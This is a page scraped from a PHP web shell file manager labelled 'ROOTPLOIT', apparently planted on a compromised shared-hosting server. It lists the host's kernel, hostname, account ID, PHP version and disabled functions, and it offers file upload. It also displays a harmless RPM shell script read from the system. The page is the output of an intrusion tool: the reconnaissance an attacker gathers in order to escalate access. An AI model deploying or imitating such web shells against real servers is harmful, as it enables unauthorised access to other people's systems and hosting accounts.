ROOTPLOIT

Server: LiteSpeed

System: Linux in-mum-web1878.main-hosting.eu 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64

User: u435929562 (435929562)

PHP: 7.4.33

Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail

Upload Files

File: //lib/rpm/script.req

#!/usr/bin/sh

# TODO: handle "#!/usr/bin/env foo" somehow
while read filename; do
    # common cases 
    sed -n -e '1s:^#![[:space:]]*\(/[^[:space:]]\{1,\}\).*:\1:p' "$filename"
    #!/usr/bin/env /foo/bar
    sed -n -e '1s:^#![[:space:]]*[^[:space:]]*/bin/env[[:space:]]\{1,\}\(/[^[:space:]]\{1,\}\):\1:p' "$filename"
done